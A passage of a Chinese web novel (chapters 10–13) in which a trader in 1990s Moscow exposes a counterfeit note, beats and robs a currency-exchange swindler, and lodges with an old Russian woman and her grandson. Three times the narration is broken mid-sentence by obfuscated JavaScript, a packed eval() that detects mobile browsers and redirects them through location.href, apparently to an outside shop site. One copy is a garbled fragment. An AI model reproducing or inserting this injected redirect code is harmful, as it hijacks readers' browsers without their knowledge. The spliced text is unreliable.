中亚人热情表示要帮何长宜找一家可以入住的旅馆,被她礼貌而坚定地拒绝了。 ——开玩笑,在对方明知她携带大笔卢布的情况下还要接受对方安排住宿,这和把脖子往屠刀上撞有什么区别? 对于只有一面之交的陌生人,还是别太赌人性本善。 当何长宜准备走时,看到一个俄罗斯老妇人正在向来往的倒爷兜售一把银茶壶。 老妇人穿着厚重的大衣,裹着头巾,不苟言笑,看起来很严肃,经典的俄式老祖母形象。 银茶壶大概是用了很久,通体泛着温润的光泽,造型古意盎然,一看就是家传的老物件。 如果是其他时候,何长宜就买了,但今天她兴致实在不高,看了两眼便打算离开。 正要走时,她看到有个胖倒爷拿走银茶壶,递给老妇人一张从未见过的人民币。 何长宜脚步一顿。 ——什么时候咱家发行面值一千的人民币了? 此时由于卢布贬值,俄国境内最坚|挺最保值的货币是美元,其次就是人民币,因此人民币还被起了个“二硬通”的外号。 在俄罗斯,有时人民币比卢布还管用,不少俄罗斯卖家更乐意收人民币,至少人民币的汇率不会每时每刻都在下跌。 但人民币再怎么坚|挺,也不能用假|钞来唬人吧。 胖倒爷随意地将银茶壶在手里颠来倒去,差点就摔到了地上。 老妇人急忙拿回茶壶,珍惜地抱在手里反复摩挲。 胖倒爷一脸的无所谓。 “行了,老太太,知足吧,一千块钱呢,你那破茶壶值这个价吗?也就是我好心,见不得老人受苦,要不然谁买这破玩意儿。” 老妇人紧紧地抿着嘴,满脸都是不舍。 但想到银茶壶可以换来供全家吃一个月的面包和黄油,再不舍也要舍弃。 正当她要将银茶壶交给倒爷时,忽然一道女声响起。 “巴吉尼(假的)。” 何长宜走到老妇人旁边,指了指一千块面值的人民币,用生硬的俄语重复了一遍。 “巴吉尼(假的)。” 老妇人惊疑不定地看着她,胖倒爷先不乐意了。 “嘿我说,你谁啊,你特么多管什么闲事?这跟你有关系吗?” 何长宜翻了个白眼。 本来心情就不好,还遇上个欺负老人的傻逼,简直火上浇油。 “我说你差不多就得了,拿张假|钞哄谁呢?哪儿来的一千块人民币,你发明的?” 胖倒爷狡辩道: “谁说没有?俄罗斯都有一千块的卢布,怎么就不能有一千块人民币?” 何长宜不耐烦地说: “你找人民银行说去,就说你发明了一千块人民币,还是专在俄罗斯发行,你看看是公安来得快,还是你跑得快。” 胖倒爷恼羞成怒,举拳威胁起来。 “我说你是不是不想混了?!你知道我是谁吗?得罪了我,你别想在这地界混下去!” 何长宜刚要反唇相讥,终于弄明白发生了什么的老妇人像头发怒的母狮,一把将她扯到身后,冲着胖倒爷火力全开。 “#¥%&苏卡不列*@#¥阿乎耶夫西¥%&杜德拉克@#¥扎伊比思¥%*&!!!” 老妇人嗓门响亮,周遭不管是中国人还是俄国人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15942846|177435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都惊奇地看了过来。 何长宜听得眼角直抽搐。 别的没听懂,只听到了她会的那几句俄语脏话。 要不怎么说姜还是老的辣,老妇人别看穿得端庄严肃,骨子里也是个“文化人”。 胖倒爷被劈头盖脸地骂了一通,脸涨得通红。 他气急败坏地冲着老妇人挥拳,然而,附近的俄国人都朝他看了过来,沉默的视线中充满压力。 胖倒爷讪讪地放下手,哼了一声,转身就回旅馆,步子越走越快,有几分落荒而逃的意味。 老妇人意犹未尽地收声,转身对何长宜温和地说着什么,见她一脸茫然,又从兜里掏出一小块巧克力塞给了她。 何长宜想了想,要不是家里没米下锅,老人家也不会舍得把家传茶壶拿出来卖。 她从袋子里拿出一摞卢布递给老妇人,示意要买下银茶壶。 老妇人却只从中抽了几张钱,把剩下的钱推了回去。 她将银茶壶递给何长宜,又踮起脚抱了她一下,转身离开。 何长宜目送老妇人走远,忍不住自嘲地摇摇头,这都是什么事儿。 住的地方还没找到,倒是先买了个茶壶。 何长宜也离开贝加尔旅馆,按照地图上标出的酒店位置,一家一家地找了过去。 但糟糕的是,当得知她是中国人时,那些酒店都拒绝接待,前台看她的表情像是看到家里粮仓进了老鼠。 莫斯科并不欢迎中国人。 当何长宜走在街头时,心中浮现出这句话。 一些俄国人在看到她后,脸上露出嫌恶的表情,像是看到了什么脏东西。 何长宜嘴角抽搐,虽然她确实在火车上一周没有洗头洗澡,但也没有臭到哪儿去吧…… 再说了,她还没嫌弃莫斯科荒凉破败呢。 市政像是罢工了一百年,卫生条件直接回到中世纪,遍地小偷流氓,到处都是乞讨的老人和喝得醉醺醺的家伙。 某一瞬间,何长宜以为自己其实是穿越到了哥谭,下一秒就会有个猫耳coser从天而降喊出那句“滚出我的城市”。 有个拎着酒瓶子跌跌撞撞走在路上的醉鬼,突然一仰脖,灌掉最后一口酒,将空瓶往地上一掼,吼了一句“苏维埃!乌拉!” 当看到不远处的何长宜,他突然像一台拖拉机似的创了过来。 “中国骗子!” 何长宜抬起脚,对方的脸主动撞到了她的鞋底上,下一刻倒头就睡,真是让人羡慕的睡眠质量。 即使是拎着一袋沉甸甸的卢布,何长宜也难以避免地感到烦躁。 这种被排斥的异类感真是让人感觉糟糕。 天色渐渐暗了下去,街道的路灯坏了大半,只有那么一两盏灯聊胜于无地亮着。 何长宜漫无目的地走在莫斯科的街头,当路过一处公墓时,有种到墓地凑合一晚的冲动。 ——要是有人敢来抢劫,她就让对方见识见识什么叫中国特色闹鬼。 不知何时飘起了雪花,在何长宜的头肩处落下薄薄一层。 前方一处建筑虚掩着门,温暖的灯光溢了出来,隐约能听到柔和的音乐声。 何长宜全身都冻僵了,再走下去,明天她就能送给莫斯科人民一份来自中国的活体冰雕。 她毫不犹豫地推开了门,甭管里面是什么情况,就算用卢布砸,她也要砸个位置出来。 甫一进门,她就愣住了。 ——这特娘的怎么会是教堂??? 11. 第 11 章 教堂里正在免费发放救济粥。 来领粥的多是老人和小孩,还有几个颓丧的中年人,几乎没有年轻人。 作为年轻力壮却臭不要脸来吃救济的小青年,何长宜被塞了一碗粥,接着就被嫌弃地打发出了门。 她站在街上,对着手里这碗内容物不明、三分像粥七分像呕吐物的玩意发呆。 不是,本地天父耳朵也太好使了吧,她只是在心里嘀咕了两句,他老人家还真显灵啊?! 何长宜试探性地尝了一口粥,下一秒就全吐了出来。 虽说是免费的,但这粥也太黑暗料理了吧! 发霉的麦粒,用来增稠的木屑和锯末,还有诡异的酸苦味 ——拿这玩意儿来喂狗都得算虐待动物。 何长宜捧着一碗冷掉的锯末粥,站在飘雪的街头,感觉她的人生变得和莫斯科一样萧条惨淡。 就算是再挣十一万卢布也拯救不了她受伤的味觉。 “#¥@*%&?” 一道有些熟悉的俄语女声忽然响起,何长宜转头看去,惊讶地发现是之前卖银茶壶的俄国老妇人。 她严肃而担忧地看着何长宜,语速极快地说着什么。 何长宜说:“……抱歉,但我听不懂。” 老妇人也意识到这一点,直接上手拉着何长宜往某个方向走。 何长宜试图挣扎,老妇人抓着她的手像铁钳,不容置疑地说了一大通,硬生生把她拽回了自己家。 这是一栋很宽敞的房子,从地毯和墙纸可以看出过去的繁华,但现在却因缺少家具和装饰品而显得空荡荡。 老妇人把何长宜摁坐在壁炉前,将一块厚实的旧毯子披在她身上,又倒了一杯热气腾腾的红茶,不容拒绝地塞到她手里。 直到体温开始回升,何长宜才感觉到身上各处传来的冻伤后的麻痒。 老妇人把何长宜扔到壁炉前解冻,自己则一头扎进了厨房忙活。 何长宜听着里面传来的叮叮当当的声音,悄无声息地站起身,在这栋大房子里检查了一遍。 惊讶却又不那么惊讶的是,这里只有老妇人一个人。 没有埋伏,没有陷阱,也没有小偷和强盗。 墙上挂了许多照片,有老妇人和丈夫年轻时的合照,有斯拉夫金发美人的半张婚纱照,还有一个漂亮的黑发男孩,对着镜头一脸的不高兴。 何长宜看着感觉有点眼熟,但又说不上来是哪里熟悉,站在照片前苦思冥想。 这时,老妇人端着几个盘子出来,大嗓门地招呼她赶紧来吃饭。 一盘黑面包,一盘酸奶酪,一盘西红柿切片,还有巴掌大的一盘香肠薄片。 黑面包旁放了一碟白色颗粒状调味品,何长宜不解其意,老妇人示意她用面包蘸着吃。 她照做,入口后被齁得一个倒仰 ——妈的,是盐。 大概是何长宜脸上的表情实在太过苦大仇深,老妇人一贯严肃的脸上难得露出笑容。 大门突然传来响动,有人走了进来。 何长宜抬头望去,为了省电,房子里只开了一盏灯,昏暗的灯光里,她好像看到一头直立行走的……熊? 老妇人高兴地迎上去,两人用俄语说了些什么,期间大概提到何长宜,似乎发生了一些争执。 最后老妇人一锤定音,强行把“熊”推到餐桌前,让他和何长宜坐了个面对面,自己则转身进厨房继续切面包。 尴尬的沉默。 何长宜终于看清了熊的正脸,是之前在火车站遇到的黑发灰眸的男人。 这下她终于知道之前看到男孩照片时的诡异熟悉感从何而来。 男人冷淡地看着何长宜,忽然开口。 “你什么时候走?” 何长宜惊讶地说:“你会说中文?!” 男人皱眉,眉毛沉沉地压着眼睛。 “你应该离开。” 何长宜叛逆心起,向后靠坐在椅子上,笑眯眯地说: “如果是这位老太太的要求,我会立即离开。” 男人冷冰冰地看了她一眼,站起身来,高大的身躯遮住了灯光,投下阴影。 “明天,我不希望再看到你。” 他转身离开,不多时,大门处传来开合的声音。 老妇人急急忙忙端着面包出来,见男人已经走了,不高兴地抱怨了几句。 何长宜适时露出一脸无措,老妇人安抚地拍了拍她的手臂,又端来一杯加了蜂蜜的热牛奶,催促她趁热喝。 这一夜,何长宜睡得不太安稳。 行李袋被她放在床边,手边是她悄悄藏起来的一把切面包的长刀。 不过,天亮的时候,什么都没有发生。 老妇人还没醒,何长宜将银茶壶放在餐桌上,轻手轻脚地开门离开。 出门的时候,她又看到了男人。 他站在路灯下,手里拿着一支烟,不知在想什么,香烟积了长长一条灰。 当看到何长宜时,男人微微一愣。 何长宜主动冲男人点头示意,他却垂下眼眸,移开了视线。 一头奇怪但还算英俊的熊…… 按照昨天的约定,何长宜来到贝加尔旅馆,那个中亚人早已等在门口,见到她眼睛一亮,迫不及待地迎了上来。 不等对方说话,何长宜率先开口。 “换汇可以,但要按我说的来。” 贝加尔旅馆后的小巷。 何长宜站在巷口,挡住了唯一的出口。 不远处传来人声,中文多,俄文少。 中亚人看看何长宜,再看看小巷外,脸上闪过一丝犹豫。 但最终他的目光落在了这个中国女人拿着的行李袋上,眼睛一转,还是舍不得这难得的好机会。 何长宜也在打量中亚人,他将一个鼓鼓囊囊的皮包牢牢抱在胸前,眼睛滴溜溜地转。 “先点美金,再点卢布,数量无误后交换。如果中途出现任何意外,交易立刻终止。如果你拿出的美金哪怕有一张是假.钞,交易也马上终止。” 中亚人脸上堆着笑,用生硬的中文说: “真的,没有问题,不骗人。” 何长宜不答,只是伸出手,示意对方将价值十一万卢布的美金拿出来。 中亚人打开皮包拉链,从中小心地拿出一卷用皮筋捆好的美元,毫不犹豫地递过来,由何长宜亲自点数。 拆开皮筋前,何长宜注意到这捆美元最外面放着的价值一美元的钞票。 她看了一眼中亚人,对方若无其事,像是不觉得将面值最小的钞票放在最外面有什么问题。 何长宜在心中记下这个疑点,随即拆开皮筋,将每张钞票单独拿出来检验真假,并不厌其烦地用笔将钞票的号码记录下来。 见状,中亚人有些不安地挪动了一下身体。 但他什么也没说,只是紧紧地盯着何长宜,像是生怕她趁机昧下几张美金。 何长宜不紧不慢地点数,花了相当长的时间才验完全部钞票。 中亚人拿来换汇的美金不是七张面值一百的,而是有1刀,有10刀,也有100刀。 他的解释是这些美金也是他从别人手中换来的,因此比较零散——何长宜对此持保留态度。 数完后,何长宜将钞票递还过去,中亚人拿出一个新皮筋将钱捆好。 数钱还在继续,这次是卢布。 十一万的卢布花了一段时间才数完,中亚人看上去很满意,当即就要拿一卷美元来交换。 何长宜却叫停了。 “你手里拿着的是什么?” 中亚人脸上的肌肉不自然地跳动了一下。 “当然是美元……你想说什么?我不明白你的意思……” 何长宜歪了歪头。 “美元?” 她不紧不慢地反问: “是价值七百刀的美元,还是价值七刀的?” 中亚人强笑着说: “当然是七百,你数过的。” 何长宜一脸诚挚的疑惑。 “你都切汇了,哪来的七百刀?要不拆开重新数一数?” 中亚人终于不笑了。 他警惕地向后退了一步,手放进皮包,僵硬地闭着嘴,一言不发。 切汇是黑市术语,指的是在换汇过程中一方以违法的手段扣下部分或全部交易钱款。 切汇一行,坑蒙拐骗、敲诈勒索是再常见不过,假借换汇的名义抢劫杀人的也不罕见。 在莫斯科,由于在火车上卖完货后携带大笔卢布的倒爷多,专门做切汇行当的骗子也多。 在俄罗斯混的中国人,要是没遭遇过切汇,出门都不好意思说自己是个倒爷。 中亚人死死瞪着何长宜,想不明白自己是在哪儿露了馅。 何长宜善解人意地说: “你是不是想知道我是怎么发现的?” 其实很简单,只需要一点专注力和观察力。 从中亚人拿出一卷美金的时候,何长宜就敏锐地发觉了不对劲。 正常来说,人们会将面值小的钱放在最里面,面值大的放在外面。 而中亚人却反其道而行之,将1美元放在一卷钱的最外面,而却将100美元放在最里面。 当何长宜数完钱后,中亚人将钱重新捆了起来,依旧是1美元在最外——即使何长宜已经将钱按面值由小到大的顺序重新整理一遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15942847|177435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 而且他在捆钱时用了一个新皮筋。 一个和之前旧皮筋颜色不同的新皮筋。 到这一步时,何长宜已经完全确定中亚人就是来切汇的。 他通过皮筋颜色做标记,新皮筋捆的是货真价实的七百美元;而旧皮筋捆的钱就不一定了。 因为不管是1美元,还是100美元,它们的大小和格式没有太大差别。 也就是说,同样最外面是1美元的一捆钱,何长宜亲手验过的与中亚人最终交给她的完全不同。 中亚人最终拿来换汇的那捆钱拆开后里面全部都是1美元。 何长宜慢条斯理地解释完毕,中亚人的脸色已经完全黑了下来。 他应该在何长宜要求在华人聚集的旅馆后换汇时就拒绝的。 但他太贪婪了,见何长宜是连俄语都不会说的新手倒爷,又是孤身前来的异国女人,便自觉有机可乘。 不过现在还不算晚,还有机会补救。 中亚人抱着皮包,莽撞地朝前,要硬生生挤过何长宜与墙壁的狭小空间。 何长宜并不让开,反而将出口完全堵住。 中亚人凶恶地说: “让开!我不换了!” 何长宜却说: “不,我想换。你不能在浪费了我的时间后还假装什么都没发生。” 中亚人凶狠地瞪视着她,皮包里的手蠢蠢欲动。 “你,不想死,就让开!” 何长宜捋了下额前卷发,带着点纵容的无奈。 “我既然敢把你约到没人的小巷,当然有不怕的本事。不过我建议你想清楚,别做会让自己后悔的事。” 中亚人明显没把何长宜的话放在心上。 他始终放在包里的手猛地抽出,拿着一把开刃的匕首,朝着何长宜就扑了上去! 小巷外的人听到几声闷闷的撞击声,之后又传来半声惨叫,狐疑地朝黑洞洞的巷口看了过去。 “出什么事了?” “还能有什么,老毛子的地盘不就那点事儿吗?” “走,一起过去看看。” “别管了,多一事不如少一事……” 小巷里,何长宜拍拍手上不存在的灰,踢了踢地上抽搐的人形物体。 “都和你说了,别做让自己后悔的事,你这人也是的,怎么就不听劝呢。” 在何长宜以杨大妞的身份短暂下乡期间,由于是剧情以外的内容,她有一定的自由度,便和同样下乡的摔跤教练学了一手。 她悟性高,不怕疼,对人对已都狠,学的速度很快。 教练见猎心喜,甚至想把何长宜招进省队培养。 但因为这不属于原书剧情,最后不了了之。 不过,借用一句被用滥了的话,凡是过往皆为序章。 虽然没能在年代文完结前用摔跤打出一片天地,但现在这不就用上了吗? 何长宜蹲下|身,从蜷缩中亚人的怀里扯出被他死死护着的皮包,打开拉链,拿出了两卷美金。 “多谢你的慷慨赠与,我就不客气了。” ——黑吃黑怎么了?这叫入乡随俗。 中亚人挣扎着从地上抬起头来,目眦欲裂。 “我要报警抓你!” 何长宜肆无忌惮地说: “那你报警好了,需要我帮你打报警电话吗?” 来到俄罗斯的短短几天内,她已经充分认识到了本地警察的不作为。 和他们相比,当初在友谊商店拦住她要查证件的大檐帽都算可爱。 别说中亚人是个被黑吃黑的切汇骗子,就算他真的是被抢劫了,警察也懒得多管闲事。 中亚人显然也意识到了这一点,狠狠地瞪着何长宜。 “难道你就不怕我喊人吗?!” 何长宜直接翻了个白眼。 “那你喊啊,你喊破嗓子也不会有人来的。这附近都是中国人,说不定其中还有被你骗过的呢,你说他们是帮你这个骗子,还是和我一起自助弥补损失?” 这就是何长宜为什么坚持要将交易地点设置在贝加尔旅馆附近的原因。 见中亚人气得呼哧喘气却一言不发,何长宜善解人意地提醒道: “是不是太疼了喊不动?要不要我替你喊?” 中亚人死死咬住了牙,挣扎着要从地上爬起来。 何长宜善良地拿皮包盖在他头上,不忍心让他看到接下来残忍的一幕。 下一刻,她猛然下劈一记手刀,让他彻底老实下来。 陷入昏迷前,中亚人不敢置信地想,这还是以温柔内敛著称的中国女人吗?! 她和土匪有什么差别? 苏卡不列! 12. 第 12 章 何长宜趁着中亚人昏睡的这段时间,在贝加尔旅馆门口重新找了个正经换汇的。 这人给出的比价是1:175,比中亚人说的1:150要低得多,只能换到六百多美元。 但考虑到卢布一日三跌的现状,1:175也还算合理。 毕竟中亚人不是真心想换汇,而是拿低汇率做诱饵,引贪便宜的人上钩。 何长宜迅速将十一万卢布都换成了美元,她已经看到另外几个中亚人在旅馆附近四处找人,大概是被她打晕的中亚人的同伙。 其中有人走进了小巷,不一会儿,里面传来高声的叫嚷,剩下几个中亚人都跑了过去。 何长宜揣着美元,抬手拦了辆出租车,上车来不及说目的地,先忙不迭地让司机赶紧开车。 透过后视镜,她看到中亚人被从小巷架出来。 他的神情萎靡,眼睛却凶狠地扫视着旅馆门口的中国人,像是在找什么人。 出租车驶离贝加尔旅馆,后视镜中的人影越来越小,直至消失。 “@#¥%*&?” 司机开口询问,何长宜猜他应该是问自己要去哪儿。 她将一张纸条递给前排司机,上面是她描葫芦画瓢写下的街道名称。 破烂的出租车在颠簸的路面飞驰,驶过衰败的莫斯科街头。 另一边。 “阿列克谢,你不能总是这样,憎恨你的另一半血统。” 高大的年轻男人皱着眉说:“我只是担心您的安全。” 矮小的老妇人对这个需要她仰着头才能看到脸的孙子毫不客气。 “不是所有中国人都是坏人。至少她是个好女孩。” 阿列克谢冷淡地说: “一个中国倒爷?” 他不欲再谈这个话题,转而从怀里掏出一摞卢布放在桌上。 仔细看的话,能发现其中几张钞票上沾着血迹。 “您不需要再去卖东西,我可以赚到足够我们生活的钱。” 老妇人脸上露出担忧与愤怒混杂的表情。 “阿列克谢,哪怕饿死,我也不会用一分钱!你辜负了我对你的教育!你在犯罪!” 阿列克谢只是抿了抿嘴。 “苏联已经完了,俄罗斯也快完了,但我们还需要活下去。” 老妇人沉痛地说: “阿列克谢,你曾是个军人,你发誓要守卫祖国和人民,你还记得你的誓言吗?你现在的行为对得起国家吗?” 阿列克谢忍不住提高了些声量。 “那国家对得起我们吗?!您为国家奉献了一生,但退休工资甚至无法让您不被饿死。我在阿富汗为国家而战,但我的勋章换不来哪怕一块面包。” 空荡荡的房子陷入了死寂中。 阿列克谢率先冷静下来。 “抱歉,外祖母。无论如何,我只是想让我们都能活下去。” 说罢,他有些狼狈地转身离开,拉开大门的时候,却发现门外站着一个不速之客。 何长宜惊讶地看着他,她正要举手敲门。 “您好?” 阿列克谢的脸色阴沉。 “你为什么在这里?我说过,我不希望再看到你。” 何长宜理都没理,灵活地从他的胳膊下挤过去,冲着来门口查看情况的老妇人就是一个热情的拥抱。 “一天没有见面,我可真想您!” 她变魔术般从身后拿出一捧色彩鲜艳的花束,捧到老妇人面前。 “这些花看起来很适合您!” 老妇人的脸上浮现出惊喜之色。 早上看到放在桌上的卢布和银茶壶时,她没想到还能再见到这个善良的中国女孩。 老妇人抱住何长宜,亲热地在对方的脸上左右吻了三次。 她接过花束,忍不住凑上去深深吸了一口。 自从每月的退休工资买不起一条黑面包后,她就再没买过花了,餐桌上的花瓶也早已卖了换钱。 她用俄语说:“谢谢,这花可真漂亮。留下吃晚饭好吗?” 何长宜听不懂,笑得又乖又甜,丝毫看不出之前暴打中亚人的模样。 阿列克谢冷眼旁观,突兀开口: “你不能留在这里。” 何长宜脸上带笑,可说出的话却完全不是那么一回事儿。 “我不走,要走你走。” 阿列克谢的脸色骤然变得难看起来。 他走上前,毫不客气地拉扯何长宜的胳膊,要强行把她拽出家门。 两人身高体型差距悬殊,何长宜简直像是被野兽捕获的猎物。 她下意识要反击,又强行按捺下来,转而露出惊恐的表情,朝老妇人伸出求助的手。 老妇人双手叉腰,眉毛倒竖。 “阿列克谢,放开她!” 阿列克谢没有松手,紧绷着一张脸。 “外祖母,她不能留在家里,我会为她找一个安全的地方。” 老妇人毫不客气地说: “安全?你的存在就是最大的危险,我不相信你。” 阿列克谢脸上一瞬间浮现出受伤的表情,但他很快掩盖下去,绷着脸说: “不管您同意与否,我都会带走她。” 老夫人怒气冲冲地走过来,一把抓住何长宜的另一边胳膊。 “你如果今天带走了她,以后都不准再回来!” 祖孙俩僵持起来,最后是阿列克谢先妥协。 “我今晚会留下。” 他看向何长宜,表情冷酷,转用中文说道: “我会一直看着你,别想耍什么花样。” 何长宜对此只有一句话。 “中文学得不错,再接再厉。” 晚上的时候,何长宜没让老妇人做饭。 来之前她在附近餐厅买了许多食物,有土豆沙拉、鱼肉冻、奶酪饼、炸鸡,以及一份罗宋汤,一共花了五百多卢布。 这是一顿难得的丰盛晚餐。 但显然,不是所有人都能被一顿美味收买。 阿列克谢坐在餐桌旁,却并不动作,而是审视地看着何长宜。 像一头狼在细细端详猎物。 何长宜恍若未觉,表情夸张地尝了一口老妇人自制的辣根,逗得对方严肃脸上露出笑容,并起身去厨房拿腌好的酸黄瓜。 餐桌上一时只剩下何长宜和阿列克谢两人。 当阿列克谢端起茶杯喝了一口时,何长宜突然开口: “你是黑手党?” 阿列克谢被呛到了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这服务态度……很亲切,或者说有点过于亲切了。 国内脾气最差的关系户售票员也不过如此了。 然而,接下来何长宜换了几个售票窗口,得到的回答都是“нет(没有)”。 即使是看上去最面善的售票员,在面对何长宜的询问时,也只是无奈的耸耸肩,示意这里没有车票可以卖给她。 站在火车站外,何长宜心头忽然闪过一丝明悟,接着就是哭笑不得。 不会吧…… 难不成老大哥家里也养黄牛? 虽说大家曾经同属社会|主义阵营,但真的没必要连这种细节都一模一样。 合着她这一趟来俄罗斯,出发的时候加价找中国黄牛买票,回程的时候还得给俄罗斯黄牛贡献业绩,两国的GDP是要全靠她这个弱小无助的倒爷拉动吗? 再说了,这人生地不熟的,让她去哪儿找靠谱的票贩子? 等等,莫斯科的熟人…… 何长宜眼前一亮,匆匆拦下一辆出租车,用不熟练的俄语告诉司机此行目的地。 “莫斯科大学。” 13. 第 13 章 何长宜来找的是谢家叔侄。 他们住在莫斯科大学内的一栋“中国楼”,原先是学生宿舍,在苏联解体导致加盟国派往莫斯科的留学生数量锐减后,闲置的宿舍楼对外出租,不少中国倒爷租了下来,将这里变成人货混住的批发市场。 谢家叔侄住的这栋楼的管理还算井井有条,每天有人打扫卫生,但当何长宜按照谢迅留下的地址找上门时,整条走廊堆着杂物,房间里从地板到天花板塞满了货物,窗户被挡住,大白天也需要开灯照明,一股劣质衣服的臭味飘散在空气中。 谢迅看到来访的人是何长宜时,露出极为惊喜的表情,热情让她快进来坐。 谢世荣听到声音,从乱糟糟的货堆里探出脑袋。 “谁啊?来批什么货的?” 当见到何长宜,他一愣,眼睛微微瞪大,从上到下地仔仔细细打量了一遍。 “哦哟,怎么会是你?看来你这小姑娘命大得很,一点事儿也没出,运气可真好!” 何长宜冲他假笑。 “天生的命好,没办法。” 说完这话,何长宜默默觉得有些亏心。 毕竟在莫斯科的两天一夜里她遇到了两只手都数不完的小偷强盗骗子以及醉汉,犯罪浓度堪比哥谭(无蝙蝠侠版) 谢世荣半信半疑,但见何长宜身上衣着完好无损,神态一如既往,忍不住嘀咕,难不成她运气真有这么好? 何长宜忽略谢世荣,转而问谢迅: “我要买回国的火车票,你知道在哪里可以买到最早的一班车票吗?” 她去莫斯科火车站买返程的票,但在一通磕磕绊绊鸡同鸭讲的艰难沟通后,售票员两手一摊表示没票,至于什么时候有,那就不知道了。 何长宜对此十分怀疑。 虽说中俄国际列车单程耗时六天六夜,一月对开两次,但俄国车才刚进站,返程的车票就已经售罄,实在难以让人信服。 考虑到俄罗斯继承自前苏联的低效率的官僚主义和贪腐成风的传统,何长宜决定放弃通过官方渠道购票。 至于私人渠道,在频繁遭遇盗窃抢劫和诈骗后,何长宜对地头蛇的信任程度已经降到历史新低。 都说猫有猫道鼠有鼠道,经常来往中俄的倒爷们一定有自己的购票办法。 谢迅不是个藏私的人,在不涉及自身利益的前提下,会显得格外大方。 当听到何长宜说在火车站买不到票时,他笑得眉眼弯弯,像个早就发现了陷阱的狐狸崽子。 “火车站买不到票很正常,老毛子早就把票加价卖给了旅游局,想买票得找旅游局的人买。不过倒了两三手,火车票就不是原来那个价了,你得有个心理准备。” 何长宜夸张地叹气。 “老毛子也忒心恨手辣,这分明是要赶尽杀绝。私人抢一道,官方再抢一道,最后落了个俄罗斯赚钱俄罗斯花,一分别想带回国——对了,还得把本金倒贴进去。” 谢迅听了直乐,桃花眼弯成一条喜气洋洋的缝。 而谢世荣敏锐抓住了关键词,听得眼前一亮,忙不迭凑了过来。 “你说说,你在莫斯科是怎么被赶尽杀绝的?谁抢你了?抢了多少?” 何长宜瞟他一眼。 “想知道啊?我偏不告诉你。” 谢世荣悻悻地坐了回去,嘀咕一句: “坏心眼的小丫头……” 何长宜和谢迅商量好,他在莫斯科人头熟,不会被当冤大头宰了,由他来出面找人买回国火车票。 她又抽出二百美元作为买票钱交给谢迅,多不退少补。 谢迅不肯收钱,反而托何长宜下次再来俄罗斯时帮他带货,他垫付的车票钱就算是预付的货款。 何长宜欣然应允。 谢世荣不忿两个小年轻有商有量的和谐模样,吆喝着让谢迅去整理堆成小山的货物。 谢迅对何长宜笑一笑,应了一声,转身去忙。 何长宜顺势告辞离开,临走前谢迅冲她眨眨眼睛,昏暗灯光下,桃花眼中氤氲笑意。 之后何长宜原路返回阿列克谢家,在吃过晚饭后顺理成章又赖了一夜。 她在贝加尔旅馆那一片算是挂上号了,切汇不成反被抢劫的中亚人恨不能掘地三尺,安全起见,她近期最好还是别在附近露面。 早上的时候,阿列克谢又不见了。 他这人很有几分神出鬼没的气质,总是突然出现又突然消失,只残留一点飘渺烟草气息。 老妇人像是早就习以为常,对于阿列克谢的消失无动于衷。 当何长宜睡醒的时候,老妇人正在厨房烙馅饼,一股混杂着蘑菇、洋葱、培根的香味气势汹汹地扑到房间的每个角落。 何长宜挣扎着爬起来,尽力将自己收拾成能见人的模样,支棱着一头乱毛就迫不及待冲了过去。 老妇人只是挑挑眉,示意她在餐桌前坐好。 这一天的清晨,伴随着俄式馅饼的浓烈香气,一老一小首次互通了姓名。 何长宜拿手指了指自己:“何,长,宜。” 老妇人也拿手指了指自己:“@#¥%&*#¥%&*#¥%&*#¥%&*#¥%&*” 何长宜:…… 忘了俄罗斯人的姓名是一本写着祖宗籍贯的家谱简介。 她只听明白了第一个词“维塔里耶”,决定以后都用维塔里耶奶奶来称呼老妇人。 维塔里耶奶奶则是亲昵地称呼何长宜为“何”。 好吧,对于俄罗斯人来说,中文姓名的发音似乎也很难呢。 当神出鬼没的阿列克谢再次出现在家中时,眼前的一幕让他当场血压飙升—— 外祖母和那个中国女人盖着同一块毯子坐在壁炉前取暖,两人聊得兴起,压根没注意有人进门。 外祖母(俄语):“所以你是一个跨国商人?哇,对于一个女孩来说,这真的很了不起。” 何长宜(中文):“我觉得饺子里放奶酪蘸芥末酱吃也不错……” 阿列克谢用力闭了闭眼睛。 她们到底是怎么做到鸡同鸭讲,但还能滔滔不绝的??? 第二天,谢迅打电话告诉何长宜,火车票已经买到了,虽然加价20%,但已经是能买到的最早一班中俄国际列车。 何长宜告别了维塔里耶奶奶,准备回国。 她来的时候扛着沉重的装满了皮夹克的运动衫的行李袋,走的时候两手空空,只需要将美元藏在贴身口袋。 不过,维塔里耶奶奶没让何长宜就这样上火车。 她打包了许多馅饼、香肠奶酪和酸黄瓜,以及新鲜的西红柿,强硬塞给何长宜,让她在路上吃。 又逼着阿列克谢送何长宜去火车站,不容拒绝地吩咐一定要看着她上车。 阿列克谢和何长宜对视一眼。 前者冷淡中带着嫌弃,后者乖巧下藏着桀骜,对视间火花四溅,没有丝毫暧昧。 何长宜依依不舍地同维塔里耶奶奶告别,在阿列克谢的“护送”下,乘坐地铁前往莫斯科火车站。 是的,地铁。 